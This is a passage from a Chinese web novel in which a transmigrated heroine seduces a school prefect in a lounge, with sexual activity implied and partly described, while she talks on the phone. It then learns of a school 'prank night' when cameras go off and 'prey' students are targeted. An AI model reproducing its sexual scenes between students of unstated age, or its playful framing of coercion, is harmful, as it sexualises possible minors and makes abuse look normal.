[说个笑话,这个群里还有没票权的人?]- [公投我还没想好。]- [我也是。不太想让校花通过,但是又不太想让她走人。]- [所以话题又拐回来了是吗。]- [没办法,校花真的很特别。]- [她很漂亮。]- [我喜欢她。]- [我也喜欢。)]- [她的眼睛真漂亮。]- [如果她掉眼泪,真让人怪不忍心。]- [但是放过她,又好可惜。]- [放不放过的说太早了,别忘了女生手里也有一半的票,刚刚女生社团出来活动了。]- [她们放话了,如果校花狂欢日让她们满意,就让她过公投。不满意,就让她滚蛋回家。]- [……这算不算是男女通吃?]- [有热闹看了。]- [烦不烦?怎么还在聊她。干脆改为校花个人群算了。]- [也不是不行,我看群里有很多粉丝浑水摸鱼。]- [哈哈。]- [期待狂欢日。]- [一群神经病。现在就开始蠢蠢欲动,真不敢想象那天得有多疯狂。]- [变态们,正常点好吗?]- [我就不,嘻嘻。]- [我喜欢她,狂欢日我肯定会出手。]- [她真漂亮。]- [我要弄哭她。] 第52章 第52章还没开始 51. 安蔓目光往窗外瞟了一眼,不知道衣服到底掉在了哪里。学校是城堡式的建筑,虽然经过翻新,但仍然能看到历史的痕迹,墙上爬着绿藤,从她的角度向下看,落点应该是一片花丛,“别怕,衣服应该一时半会儿不会被人捡走。” “闭嘴。” 安蔓哼了一声,她今天的衣服,依旧由韶景荻一手置办,全套都是奢牌。 大衣,裙子,高跟,精心搭配,简直是被当成手办一样打扮。 安蔓无所谓被人控制穿着,既然是白给的东西,不要钱,她也欣然接受了。 不可否认的是,人靠衣装,被昂贵的衣服打扮之后,整个人的气质确实有了点微妙的变化,更加昂贵而精致。 特别是,非常凑巧,她今天正好穿了一条绿色的裙子。 安蔓笑容恶劣,高跟鞋尖踩在他的小腿,“江级长,你害羞了吗?” 江赫额头上的青筋跳了一下,“闭嘴,不要乱动。” 安蔓拉长声音,“不要不好意思嘛——江少爷——” 江赫冷冷伸手,握住她的脚踝,“我说了,不要动。” 他手指冰凉,握的太用力,安蔓皱眉:“痛。” “痛就别来惹我。”江赫冷笑,到底还是松了手。 她肤色雪白,皮肤又嫩,他轻轻一捏就留下了淡淡的痕迹。在这种位置,不像是正常的伤,反倒是像是在一些暧昧时刻留下的痕迹……江赫皱着眉别开头。 安蔓缩回小腿,嘴角上扬,“哎,在我面前害羞什么,也不是没丢过脸啊,我真的很好奇,你有在其他人面前露过身体吗?” 她越想越觉得不是没有这种可能,江赫那种人,系统认证的古板保守,洁癖晚期,厌恶一切肢体接触,脱个手套就像是要命了。 平时都穿着制服,扣子扣到最上面一颗,一副拒人于千里之外冷酷无情的形象,如果不是必要,连一点皮肤都不愿意露。而且非常讲究,洁癖的要命,今天要不是因为被泼了一身肯定不会在这里清洗。 比起受伤之后,陡然变得难缠,还爱发癫,做些乱七八糟事情的崔英朗。他一成不变、古板冷漠的行为方式,甚至让人有种淡淡的亲切感。 安蔓微笑:“要不要我现在把衣服,给你捡回来。” 江赫伸手指门,“滚。” 安蔓脸色垮了一点,不太高兴了,“真是不识好歹,虽然你的衣服是我不小心扔下去的,但是我现在尽力在弥补啊!” 江赫已经用懒得理她了,松开手就往回走,伸手按着浴巾,先是确定大门紧闭,接着走到沙发边坐下。 休息室没开空调,室温与室外一样冰冷,窗户也没有关严实,冬春交际的风从窗外呼呼灌入,让整体温度再次下降。 江赫的皮肤因为冰冷的风,泛起淡淡不适,因为肤色极白,不适显得更加分明。他不喜欢这种皮肤被风吹过的感觉,忍耐着冲进浴室的打算,在茶几上找到了手机。 他打开通讯录点了一个号码,“你在哪里。” 收到短信的男生是他下属,干脆地答了自己的地点,又问,“刚刚下课,级长,有什么事吗?” 江赫报了地址:“送一套衣服过来。” “没问题级长,十分钟就到。”男生利落地答应了。 “好。” 江赫挂了电话,抬起眼,发现安蔓不知什么时候,已经站在他面前。 她穿着一件长大衣,里面是一条淡绿色的长裙,裙摆长至小腿,随着她的动作微微扬起。 黑发披散,唇色苍白,一张冷淡又漂亮的脸,眼睛里却带着一点玩味。 “这么着急就赶我走了吗?我还以为你会商量一下后续的治疗问题。” 江赫转头,微微蹙眉,“没有后续了。” “真的吗?”安蔓满脸遗憾,伸出一只手,轻轻的按着他的肩膀,忽然向前一步,膝盖压在沙发上,低头一笑,“那太可惜了,我以为我们能够实践一下第……多少步来着?试试那个拥抱。” 江赫坐在沙发上,面无表情,“你不是说已经不喜欢我了吗,现在是在干什么,讨好我?” 安蔓微笑,“突然现在又喜欢了,毕竟我的喜欢非常多变。” “……”江赫被气笑了。 现在的场景,与梦中诡异的交织。 唯一不同的是她比梦里更恶劣,更真实,更漂亮,也更坏。 连裙子和梦也是同样的颜色。 江赫冷漠地审视,她到底什么地方特别,她明明没有任何地方特别。 这种人。 这种人! 安蔓对他的思路一无所知,反而歪着头,伸手从他手里抽出手机,往旁边随手一扔。 手机啪嗒掉在地毯上,她眨了眨眼,嘴角弯了一下,伸手按住他冰冷的胸口,“经过刚才的事我才发现,我还是喜欢你的。” “你明明比崔英朗好那么多。” “是吗。”江赫冷笑。 安蔓忽然顿住,感受到了什么,表情似笑非笑,“……江少爷真是,不容小觑。” 她的每一句话,都让江赫脑中理智的弦崩断一分,他咬牙切齿说,“是吗?” “是啊,没关系啊,反正我喜欢你,对我做什么都可以。” 她说悄悄话一样,压低了声音,攀在他的耳边慢悠悠开口,“目前还是喜欢的。” 江赫语调古怪,眼中盛满了恶意,“什么都可以?” 她在勾引他。 她确信他做不了什么,也不可能去做,极端的自我约束,让江赫向来注意自己的言行,也给了她肆意妄为的信心。 可能是那种今天那种血腥、黏腻的肮脏之感,已经浸透骨髓,让江赫冒出超出平常的恶意。 他突然伸手揽住她的腰,将她紧紧按在胸口,反问,“什么都可以?” 安蔓的手僵了僵,她骑在他腿上,裙摆微微撩起,停在大腿,露出大片大片的雪白皮肤。 她贴着江赫的皮肤,似乎有点迟 疑,又像是试探,“你想做什么?” 江赫缓慢重复:“不是你说,什么都可以,对吗?” “唔,话是这样说……” “所以。”江赫一字一句,“接下来,不管发生了什么,都是你自找的。”. 男生抱着防尘袋,站在休息室的门口,这里的地板应该刚刚被人清理过,地面还没干透,气味十分怪异,像是在某种腥味极重的液体上喷洒了巨量的清污剂后,又刻意喷上香水,多次叠加的气味。 气味刺鼻难闻,挥之不去。 他伸出手敲了敲门,不知道为什么,一向准时准点的江级长却没有立刻听到敲门声,出来拿衣服。 男生不敢叫门,在门口站了一会儿,又敲了几声,甚至怀疑对方是不是突然有事离开了,在他终于忍不住拿出手机,拨打电话询问时,门开了。 江赫赤裸着上半身,手指抓住腰间的浴巾,面无表情,站在门边,高大的身形将门缝遮的严严实实。 他皮肤白皙,上面的红意十分明显,明明是大冬天,室内也没开空调,脸上却带着一点熏出来的热意,额角也带着一点汗。 江赫面无表情,“都在这里了?” 男生愣愣地看着他,视线忍不住想穿过他往里面看,不知道为什么,他总觉得对方此刻的状态有点古怪,像是急着回去做什么一样。 “看什么?”江赫忽然冷冷问。 男生忍不住伸手擦了擦汗,摇摇头,讪笑道,“没什么,没什么,应该是我弄错了。” “唔。”里面似乎传来什么模糊的声音,是个女生,不太清晰,娇声娇气。 男生又忍不住向里面看了一眼,但是视线被全部堵住,最后什么都没看到,只有江赫冷漠的脸。 “谢谢你,回去吧。”江赫关上门。 他将衣服放在一边,走回沙发边,跨过掉在地上的大衣、丝袜、高跟鞋,低头问,“怎么,还没有开始,你就不行了?” 第53章 第53章无 52. “嘟……” 扇形玻璃窗被关上,雾灰色窗帘在窗边软软垂落,挡住屋外的光线,天花板上拱形的黄铜吊灯亮起,休息室里开了暖气,热气弥漫,暖意融融。 地面铺就一条墨绿色的郁金香地毯,沙发边,一条白色大衣散乱掉下,手机在口袋里滚落出来,落在手工地毯上郁金香皮肉鲜红的花蕊中,震动起来。 此刻没人注意手机,它的震动也化成了背景音乐。 安蔓肤色白皙,细腻柔软,稍微一按,皮肤上就会泛起糜烂熟透的红,“江级长……” 她似笑非笑,试图找到一个能够概括现状的形容词,“很是不俗呢。” 江赫嘴唇鲜红,漆黑的发丝完全散开,翡翠绿的眼睛直勾勾地看着她。他的嘴唇连着透明的丝,脸上却古板冷漠,好像刚刚接吻的人不是他。 他额头上沁出来一点汗,咬牙闭眼,安蔓的声音却一句一句从耳朵里钻进来,带来一种微妙的羞耻感。 “我手都酸了。” “好累。” “不陪你玩了,有电话找我,我先走了。” “你想跑。”听到最后一句的时候,江赫猛然睁眼。 他面无表情盯着她,瞳孔绿色变深,雪亮冰冷。 安蔓勾引他,招惹他,戏弄他,把他的自尊肆意把玩,忽轻忽重,放在脚底用力碾压,还故意吊着他,欣赏他难堪的脸色。 态度忽冷忽热,忽快忽慢,刚才还热情十足,等他上钩了,又突然抽身,让他不上不下地卡在中间。 “没有。”安蔓说,“只是我突然意识到一个问题。都怪你,太不俗了。” “?” 她的嘴唇泛着接吻后的水光,手掌下,江赫赤裸的皮肤下,是他极速跳动的心脏,像悄悄话一样贴着他的耳朵:“你这里什么工具……都没有,不方便。” 江赫的声音不冷不热,“你介意这个?” “不介意,但是没有任何防护措施,万一你内O了怎么办。”安蔓纤细的手指在小腹画圈,咬着嘴唇,“难道……你要和我结婚,对我负责吗?” “你!”江赫耳朵烧红了一片,红色从头顶蔓延到胸口,整个人热到的冒烟,表情却有点空白。 他从来没有想过这种问题,明明是在引诱他,但是对方的一举一动,每一句话让他说不出的烦闷,不知道是因为“负责”,还是因为她从始至终都没有和他“在一起”的打算。 “这不是你想要的吗?” “唔,一般想吧,我得再考虑考虑。”安蔓眨眼,声音又软又困惑,放的很低:“什么意思呀,难道你想要我,想和我在一起,甚至是结婚吗?” 江赫冷着脸,“……当然不想。” “那不就得了。”安蔓伸手按在他的额头,“乖,我去打电话了。” “……” “乖,你先自己玩吧。” 安蔓下瞥一眼,十分恶劣地笑了,“要是你在我打电话的时候,听话,安静,又配合我,我考虑再给你奖励。” 她松开手,推开江赫,赤足踩上地毯,裙摆被推到腰部,露出两条雪白的大腿,她俯下身子,捡起手机。 可恶,总算糊弄过去了。 安蔓自我反省,事情到底是怎么发展到这个地步的。 这个世界对她而言,其实本质是一场游戏,所有人都是npc,所以一直以来,她都毫无顾忌。 直到现在才觉得,稍微……有点玩过头了。 但是她道德感弱,被人美色.诱惑,把持不住,也是人之常情。 江赫行为,才更让人诧异。 可恶,不是厌世洁癖吗,怎么突然就突破底线了! 难道是被崔英朗创到失去理智了吗? 难道是被那盆疑似鸡血的果汁,弄脏了个彻底,觉得怎么也洗不干净,击破了底线,干脆自暴自弃了? “喂。”安蔓摸到手机,来电显示是韶景荻。电话已经响了很久,一拨通韶景荻活跃的声音就传了过来。 “亲爱的,你在哪呀。” 安蔓不自觉扯一下裙摆,“什么事。” 韶景荻的声音高高兴兴:“我听人说崔英朗去医院了,你怎么不来找我啊。” 安蔓并紧了腿,腿上什么都没有穿,光溜溜的,感觉非常……,手指还在发烫,好像刚刚握了什么沉甸甸的东西,指腹不自觉缩了一下。她把手机用耳朵夹在肩上,在茶几上抽了一张纸,慢吞吞擦手,“你刚才不来救我,现在还来说这种风凉话。” “我一直在风纪会。”韶景荻叹气,“没办法,你要在我面前,我才能帮你啊,我又不会瞬移。” “哼。” “下次记得跑快点,你要及时跑到我面前来到我身边,才会安全啊。” 安蔓又哼了一声,韶景荻并不生气,而是笑眯眯的开口,“我可以帮你啊,但是,请我出手的价格可是很贵的。” 他笑嘻嘻说,“报酬考虑的怎么样了。” “我再想想。”安蔓把擦完手的纸巾扔到垃圾桶,转头看见江赫坐在沙发上,像是想要喝水,伸手握住了保温杯。 他表情冷漠地注视她,缓慢地伸出手,上半身的手背青筋盘缠,肌肉微隆,目光直白,有种极具攻击性的性感。 安蔓被看的手指蜷缩,脸上突然一阵火辣辣的热。 她总算知道,为什么有些人喜欢让高岭之花走向神坛,他即使自暴自弃,依旧冷峻又傲慢,目光牢牢盯着她,一动不动。 那种反差感,显得非常…… 安蔓耳朵红了一点,故意放开了声音:“ 不想理你了,我要找其他不要报酬的人帮我,比如说我们亲爱的江级长。” 韶景荻哼了一下:“别生气呀,公主殿下,我这不是来帮你,给你提供信息了吗,你接下来有大麻烦啦。你和姐妹会那里有什么仇恨吗?” 安蔓避开江赫的目光,竭力把注意力放在电话上,想了一下,好像并没有,顶多是原主曾经加入了姐妹会,在暴露身份后又被公告除名。 原主行为毫不收敛,很是嚣张,惹了不少敌人,但是都在叶倩被开除后安分下来,“怎么了?” “没什么,只是你有大麻烦啦。”韶景荻的声音怎么听怎么透着一股幸灾乐祸,他语调微微扬起,是那种看热闹不嫌事大的声音,“她们指定你出席狂欢夜。” 安蔓背过身,江赫的目光存在感却更加强烈,她羞耻的脚趾头都蜷缩了一下,耳边还能听到他低低的喘息,心不在焉地敷衍,“是吗?” 韶景荻问:“我记得你去年好像没有参加狂欢日,可能不懂这些。这天热闹是热闹,好玩也好玩——但是仅限于白天。” “是吗?” “狂欢日白天,德川会对外开放学校,所有人都会逃课,参加活动,比如文艺演出,校史展览,校友见面会,音乐会,体育比赛,小吃摊等等等等,无所不包。” 韶景荻勤勤恳恳,一一列举,“不过,晚上就不一样了,晚上,我们一般称呼它为叫恶作剧之夜。” 安蔓被看的浑身不自在起来,把裙子一寸寸扯到小腿,刚想走远一点,忽然就被人掐着腰,握着大腿抱回来,重新抱在沙发上,“啊!” “继续打。”江赫抱住她,声音异常冷淡,他已经听出对面是谁,胸口郁气积瘀。 安蔓居然在这种时候,还在接电话,不紧接了,还在当着他的面和人调情。 又漂亮,又恶劣,又薄情。 他极其厌恶这种被操控的感觉,满脑子糟糕想法,冷冷道,“不用管我,就这样接电话。” 安蔓被他吓了一跳,忍不住挣扎了一下,又停住身体,“……你干什么。” “啊?我在给你看科普啊~白天没什么稀奇的,最多是一些恶作剧,这种时候一般不会受伤,也不会有什么大挫折。” “让他继续说。”江赫把她抱在腿上,神色冰凉,几乎恶毒。手指按着她纤细的腰肢,看着安蔓略带惊慌的表情,表情更加冷峻,甚至带上了一丝嘲讽。 “好、好。”安蔓声音开始不稳起来,不得不说,江赫突然主动抱住她,还是在这样的情况下,确实非常刺激……但比起刺激,更多的是被发现的恐惧。这种恐惧又助长了刺激。 “在白天,不管是谁,只要经过策划都可以开办一场活动,你可以当做是一场又一场的小派对。” “然、然后呢。” 韶景荻皱起眉,他站在风纪会视面,背靠着柔软的沙发,手里端着一杯兄长刚刚泡好的茶,目光投向落地窗,耳朵莫名的有些痒,“你在干什么?你呼吸有些不对劲。” “安分点。”江赫在她耳边,傲慢又恶毒地开口,一点也不温柔,反而更加激烈,“除非你被他发现,然后和我在一起,让我不得不对你负责。” 安蔓支支吾吾:“我在,唔呃,在跑步。” 韶景荻狐疑,“跑的这么激烈吗?” “是、是的,太热了,都出汗了。”. 大白天,艳阳高照。 韶景荻莫名其妙,感觉耳朵更痒了,忍不住伸手挠了挠。 安蔓声音微颤,还有点抖。 听起来不像跑步,倒像是在…… 他迟疑问,“你不会在哭吧。” “啊……没、没哭。”安蔓哽咽。 说是没哭,听起来都喘不上气了。 虽然平时,安蔓看起来也不是柔弱的人。 但是崔英朗那种人,性格又暴躁,受伤了之后又破相,被包的白花花一团,阴沉可怖,确实挺吓人的。 加上脾气坏,把人吓哭了,也不是没有可能。 她可能在浴室,悄悄哭泣,哭的喘不上气。还得带着一点奇怪的水声。 “平时看不出来呀。”韶景荻摇头。 韶景戈正在看文件,手指翻过一页,抬起头,“怎么了。” 韶景荻乐滋滋地和兄长分享:“我们可爱的公主殿下,居然也会被吓得在浴室里轻轻哭。” 韶景戈手指顿了一下,缓缓抬起头,“什么?” 韶景荻给他形容了一下,一想起来就感觉好笑,挑了挑眉:“……她还骗我在跑步,但是她的呼吸根本不像跑步。” 韶景戈抬起的头又低了下去,手指按在纸页上:“……嗯。” 韶景荻惊奇地想:“真被吓哭了?” 他略一思忖,从兄长身上掏出他的手机,兴致勃勃,给江赫也打了个电话。马上就是狂欢日,二年级那里应该是他在安排。 电话打过去,不知道为何迟迟没有打通。 韶景荻遗憾摇头,又翻出了手机,查看自己刚刚看到的信息。 社交平台上,姐妹会的会长,刚刚@了安蔓和姐妹会公号,面对所有人发了一条动态: [我在这里代表我们所有人,诚心邀请安蔓小姐,参加不久后的狂欢夜,与大家携手共度这美好一夜。请一定要来。ps:公投的事好商量。] 下面评论一片哗然,大概是今天发生的事情太多了,已经麻木,只剩下无数问号:[?] [开战了?] [有好戏看了吗。] [德川又不止她一个猎物,又不是没了她世界都不转了,用公投做威胁,太没品了吧。] [我以为今年不会延续前几年的传统呢,还担心校花请假跑了,真好啊~我们的狩猎之夜,说到底还是继承下去了。] [疯了吧,这不是直接明摆着威胁她一定要来吗。] “来者不善啊。” 韶景荻啧了一声,“看来,还是得靠我啊。” 他扔下韶景戈手机,发现打给安蔓的电话,在不知何时已经自动挂断。 后面对面都没怎么出声,被戳破之后,安蔓索性自暴自弃起来,最后哭的只能听见喘息。 第54章 第54章前奏 54 韶景戈处理完今天的事务,放下文件,轻轻望了韶景荻一眼。 他还在乐滋滋地玩着手机,给人发消息,表情专注又认真,发完了消息才注意到兄长的表情,投降般举起双手,“好了,好了,我知道了,要适度,不要太认真,ok?” 韶景戈说:“别参与太多了。” “我知道了,哥。”韶景荻彻底投降,关上手机,“只是玩玩啦。” “我看未必,你有没有觉得,你对这次的玩具投注和以往不同的精力?” 韶景荻耸肩:“都说了只是玩玩啦。” “那你就在心里画好好界限,玩具就是玩具,不要灌注太多心血。”韶景戈嘴角含着一点笑,却没什么笑意。 韶景荻翻了个白眼,挥挥手,“我又不是小时候了,别管了,你像个老妈子似的。” 韶景戈见他不高兴了,换了个话题,“玉泽前天回来了。” “玉泽?他不是出国旅游了吗?这下终于结束了他的大冒险?” 韶景荻抱怨了一句,也没揪着这件事继续讨论,见兄长转移话题,也换了。 他站起来走到窗外,刚刚还是晴朗的天,转眼就暗了下来,冬春交接之季,天气多变,阴雨密布,笼罩天空。 不过一转眼的功夫,天空便阴沉下来,雾气似尘,灰暗一片。 韶景荻饶有兴味,“那个疯子回来干什么,不是说要周游全国,当去探险,等上次那事风头过了再回来吗。” “他没说,不过发了消息给我,说过几天一起聚聚。”韶景戈脸上的表情看不出满意还是不满意。 “他也爱管人,和你一样。”韶景荻撇嘴,“不过也是怪久没见的,对了,他知不知道阿朗住院的事啊。” “知道。玉泽回来的做的 第一件事,就是去看他。”. 安蔓从浴室出来,小腿仍然有点颤,刚刚大腿绷的太紧,现在走路时仍然感觉有些怪异,每走一步就想起,沙发上羞耻又尴尬的……场景。 她头发都湿了,出了一身的汗,粘稠滑腻,不得不借用了浴室。她在一边找到毛巾擦干了头发,捡起一件件衣服,重新穿好,在旁边杂物里找出吹风机,吹干了头发,又从口袋里摸索出一根皮筋,把披散微乱的发丝大致拢起。 等做完一切后,书桌已经被收拾的一尘不染,井井有条,散开的调查报告、被装回档案袋里,盒子里的东西也被归位。 江赫也将自己打理完毕,重新穿戴好,坐在书桌边人模狗样,正在系领带。看见她,喉结滚动一下,脑中浮现出刚刚乱七八糟的场景。 他的喉咙中突然泛起一阵火烧般的渴意,从旁边拧开一瓶矿泉水,喝下半瓶,清凉的感觉却浇不透那种莫名其妙的热意。 只能僵硬着脸,别开视线,等待她主动开口 安蔓轻轻咳嗽一声,“我把刚刚用到的东西,都放回去了。还有沙发……你让人清理一下吧。” “好。” 安蔓穿上高跟鞋,右手背贴了贴脸颊,不热,放下手,“嗯。江级长。你放心,韶景荻没有发现,你应该不用对我负责。” “……”江赫系好了领带,一声不吭。 安蔓理解他的此刻的心情。 毕竟这种类似于事后的场景实在让人尴尬。 对于他这种平时碰都不让人碰的洁癖,今天实在受够了刺激,一时应激,做出了这种不堪入目的下流之事,可能现在大脑还在缓冲,没有反应过来。 按照原著描述,江赫的性格超级古板,江家的家族传统,也很封建守旧,婚后怎么样暂时不论,但是绝对没有婚前性行为,或者养情人的传统,通常都会将第一次留给妻子。 江赫冷不丁开口,“你只想说这个?” “虽然技巧差了一点。”安蔓很体谅他的心情,“总体来说还是很刺激的……” 江赫咬紧牙齿,“只有这个?” “再接再厉,多多练习。”安蔓想了想鼓励道。 江赫按住额头,被气笑了,“我们都……你满脑子想的只有这个?!” 安蔓将所有衣服都穿戴好,这里没有镜子,她只能站在卫生间前面,就着玻璃门打量自己,确定从外表上看不出异样。 她刚才压着声音,喘了太久,声音都有点哑了,柔声柔气,“江少爷,你不要说的那么难听嘛,我们只是用手……互帮互助一下。” 江赫被堵了一句,说不出话,眼神越发冷冽,嘲讽道,“……只有这个?” “是的,不然还有什么?”安蔓好奇。 他先声音像是从牙缝里挤出来,“你已经不喜欢我了?那为什么还要跟我做这种事。” 安蔓确认了自己的外表无误后,在沙发边转了两圈,终于在角落里找到刚刚掉在地上的手机。 见手机屏幕没碎,她松了一口气,才抽空回复江赫的话,声音不满道,“什么呀,我一直喜欢你啊,毕竟你长得还是挺好看,不然我也不会跟你做这种事的。我只是认识到自己的位置了。” “什么意思。” “我突然想起来,你一早就跟我说过,‘垃圾只配待在垃圾桶里’。” 安蔓打开手机,看到韶景荻发过来一条问候信息,转头看着江赫,认认真真说,“以前我还心怀期待,但是现在我认清事实了,也认清了自己的地位,不会觊觎不属于我的东西。” 明明每一句话,都是江赫自己嘴里说过的,但是听起来,会让人感觉哪哪都不对劲。 江赫被噎的说不出话,“你去哪?” “准备回寝室啦。”安蔓挥了挥手,“刚刚让人帮我搬了回家,对了,你可能不知道,因为你本来就不关注我的事。” 江赫又被噎了一下,压抑着怒意道,“你可以跟我说。” 安蔓表情变得低落起来,“但是以前,如果我和你说了,你会听吗?” 江赫的心情,跟着她的声音一起变得微妙,表情仍然带着几分僵硬,“不会。” “……”可恶啊,诚实的让人有些扎心! 她哼了一声,原本准备向外,脚步刚刚抬起,又停了下来,转了个身向回走,停在书桌边,手指按着椅子,忽然俯身。 江赫眼中,她的身影突然变得极近,脸也放低了,从前那张怎么看都不顺眼的脸,骤然在眼前放大。 但现在,在看到她那张面容的时候,心里浮现的并不是厌恶、排斥、恶心,那些负面的情绪。而是另一种说不出来的东西。 那种东西,同样将他心头冲撞的难受至极,不上不下,和刚才一样,仿佛吊在空中。他认为,那是肤浅的肉.欲。 如果和梦中一样,满足了那种东西,就能够不再焦灼,不再烦躁。 但是浅尝辄止,现在,反而让那种不时升起的不适加剧了。 “江级长~” 安蔓放软了声音,慢吞吞的开口,轻轻触碰他的脸颊,动作十分随意,“你舍不得我吗?” 江赫喉咙滚动一下,蹙起眉毛,反感道,“不要说这种让人恶心的话。” 安蔓声音放软,嘴角微翘,漆黑的眼睛里带着一点恶意,“好吧,那我舍不得你,我想问问你,我们之后还能见面吗?” 江赫听出来,安蔓指的远远不只是见面。 她指的是,见面的同时发生一些其它的……不伦关系。 现在的情况和他想的天差地别。 不是情侣,不是暧昧,不是任何积极正向的关系,对方正在向他提出一种极其糟糕的邀请。 安蔓并不想和他在一起,但是不介意和他拥有肉.体上的联系。 她想让他做她的床伴、泡友,甚至更糟糕,看崔英朗今天应激的行为,说不定两人之间基本上已经有了已经确定了关系……她想让他当小三。 “怎么样,想好了?” 安蔓柔软纤细的手指,微微落下,和他戴着皮质手套的手指交缠着,黑与白的颜色极为鲜明,对比冲突,带着一种说不出来的涩气。 她嘴角微微弯起,皮肤雪白,眼角微微垂着,让她表情天然带着带着一种无辜感,眼神却很平静,有一种说不出来的冷淡,“其实今天我是圆梦来的,因为崔少爷,我决定结束对你的暗恋……如果你不答应也行,没关系的,只是我们再也不要见面了吧。” 江赫神色冰冷,“你知道你在说什么吗?” “我知道。我考虑了一下,虽然我们不能在一起,但或许能一直保持……那种联系。” 恶心。 荒谬至极! 对方提出了一种非常糟糕的提案。 她提出一种不道德的,反常规的,毫无益处,无比糟糕的地下关系。 江赫一阵反胃。 他完全没有必要答应,守旧的道德感也不许他答应这么荒谬的事,那股空空落落的渴意,在他的小腹燃烧,怒意烧灼,推促着他拒绝这种可笑的提议。 可能直到要真和梦境一样,全部实践一遍,那种渴意,才会彻底消失。 但在那种感觉蔓延之前,江赫已经冷漠的开口,“不行。” “什么?” “我不会再说第二遍,我不可能做谁的地下情人。” 江赫神态的冰冷傲慢,手指门口,“出去。” “好吧。”安蔓叹气,“我走了。” 她提着裙摆,脚步轻盈,踩着地毯一步步走休息室。走到门边时,停顿了一下,将手放在门把手上,按了下去。 门开了,外面的光线倾泻进来。 在这个过程中,江赫的目光始终落在她的背影。等她终于要回头的时候,他又收回了,始终一言不发. 安蔓关上休息室的门。 她表情渐渐 冷淡下来,循着上午和崔英朗一起逃跑的方向,走下旋转的扶椅楼梯,一直走到一楼。 这个时间点,旁边大多是零零散散的学生,抱着书,从教室里走出,直奔食堂,准备开饭。 安蔓走的足够远,直到周围空无一人的时候,才捂着脸,弯下腰,发出一阵剧烈大笑,“哈哈哈哈哈哈哈哈,你看他的表情!” 系统幽幽出现,“我什么都没看,我们不让看这种少儿不宜的东西。” 安蔓笑得肚子都痛了:“不是,不是,后面总能看到吧,他的那个表情真好笑。” 系统在大脑里疯狂翻书:“他可能感觉自己被羞辱了吧……对了,我觉得他不会答应。男主2号的自尊心可是很强的,嘴又硬,被形容为,天塌下来都有他的嘴顶着。” 安蔓肯定系统的话:“他的嘴真的很硬,就不适合说话。” 她看了一眼,天色已经彻底阴沉下来,天空开始淅淅沥沥地下着小雨,地面被彻底打湿。 现在回去借一把伞也不现实,她脱下外套,顶在头上,迈步走进悠悠细雨里,一边走一边听系统碎碎念,“他自尊心真的超级强,而且很古板,这是观念问题。宿主,你小心翻车!” 石板路上的草长了出来,安蔓踮起脚尖,“你举个例子。” 系统绞尽脑汁,试图找一个合适的形容词:“江家非常封建,男主二号虽然父母各自都养了情人,但是里里外外分得很清楚。没有正式名分的,只能算是“外室”?” 安蔓走出一截石板路,她的外套全被沾湿了,发尾又被滴上了雨珠,鞋尖更是沾到了一点污泥。 “我知道。” 江赫到现在为止,对她的好感度,其实都没有达标。他不仅嘴硬,还非常谨慎,对于付出情感极为吝啬。不像崔英朗那样大起大落,一直是个平静的低值。 直到刚刚上扬了一截,但好感度仍然不够。 他今天,顶多是自暴自弃之下,突破平时那种傲慢冷漠的外壳,行为短暂出格。 最后更是觉得被羞辱了,表情阴沉地让她滚蛋。 按照系统说法,他不可能当……“外室”。 “可恶!”安蔓又有点不爽了,“不当就不当嘛,态度也太差了。” 她和系统抱怨一会,到达公寓,停下脚步深吸了一口气。 安蔓之前让人将东西,全部搬回了a级公寓,里面虽然每个人都有独自的房间,不需要和特招生寝室一样,直面仇人。 但也完全算不上轻松。 a级公寓里,大部分都是姐妹会成员,同样也是原主认识的熟人,对她的态度绝对算不上正面。 唯一的好处,大概是,因为崔英朗的发疯行为,暂时没有人敢对她出手,目前还算得上安全。 安蔓一走进公寓,就能感觉到周围的人停止说话,若有若无的视线从旁边发出,其中不乏恶意,充满微妙。 她镇定的无视了那些视线,加快了脚步,拔出钥匙,打开了寝室的门,打了个招呼,“栗纯,你好啊。” “你终于来了,我等了老半天了,你知不知道我在你这里呆着,有多害怕!那些食人兽的眼神恨不得吃了我!” 栗纯蹦了起来,气势汹汹,“不是你让那个谁喊我来帮忙给你搬家的吗?怎么你自己到的这么晚,要不是我跑得快,我就完蛋了!” 安蔓含糊其词,“遇到一点事。对了,你给我看看这个。” 她打开了手机,打开姐妹会会长的动态,韶景荻的解释,大部分都在……那种时刻。最后被她一团浆糊的脑子,忘的差不多了,只记得这个。 栗纯接过手机一看,表情几乎麻木,她一整天受到的刺激太多,再看到这个的时候,已经没什么表情。 最大的刺激,在崔英朗宣战的时候受完了,也让她彻底站定了跟着安蔓身边的决心。 “我知道她们的想法。”栗纯说,“狂欢日白天其实还挺正常的,就是举行节目,全校玩乐。” 安蔓点了点头,在一边坐下。 “但晚上就可怕起来!对这晚我们有个专属称呼,叫“恶作剧之夜”。而且,大概在晚上六点,天空变黑的时候,德川的所有监控就会全面关闭,你知道这个行为的含义吗?没有监控!” 安蔓的眉毛拧起,“这么糟糕?” 栗纯注意到她的表情,摇了摇头,脸色变得严肃,“没有监控,谁也不知道会发生什么事,只有一点可以确定,这种情况比我们想的都坏。唯一的红线,只有不触及人命。当天具体发生了什么事,当事人都不会说的,只要不触红线,都是私下解决的。” 安蔓懂了,“所以她们要我来参加的,是晚上。” 栗纯越想越心慌,她收集了一些资料,悄悄去问过了往年的一些事,涉及人员全部讳莫如深,“反正那一天里,只要你不离开学校,就是做默认参加狂欢,无论遇到什么结果都自己负责,还有,你的身份也非常糟糕。” 栗纯扔给她一点资料。 安蔓接过来一看,随意翻了翻,眉毛皱的更深了。 狂欢日是德川的传统节日,白天是纯粹的娱乐活动,晚上则是专属所有人的恶作剧之夜,任何人都可以佩戴面具斗篷,特招生的面具和斗篷是特制的,让人一眼就能看出来。 而“猎物”的情况则更为特殊,他们根本不被允许佩戴面具,因此当他们出现在人群中的时候,简直像是黑暗里的出现一颗星星,根本隐藏不了痕迹。 而在这一天里,特招生是其他阶层的目标,而猎物,是所有人的目标。 当然在这些规定之下,还打了补丁:在狂欢日当天,一旦出现,默认参与,但为了预防非自愿情形,如果有不想参加的,请在当天及时请假,或者在晚上6点前及时离校。 “但是往年的猎物,基本上很少有不参加的情况。”栗纯解释,“去年也是一样,总有人会用各种手段,去强迫猎物出现在现场……反正挺糟糕的。” “没事,我现在有靠山了。”安蔓伸手揉了揉脸,大脑飞速转动,开始思考这件事。 她固然可以请假,但是有人用了公投这件事,来威胁她,目的就是让她尽可能的无法逃脱。 但是即便如此,这件事对她也不算难。 崔英朗这个人虽然神经病,但是至少威慑力十足,可以一用。 就算没有崔英朗,还能借用江赫、韶景荻,确保当天,无论是什么情况都至少能够安全通过。 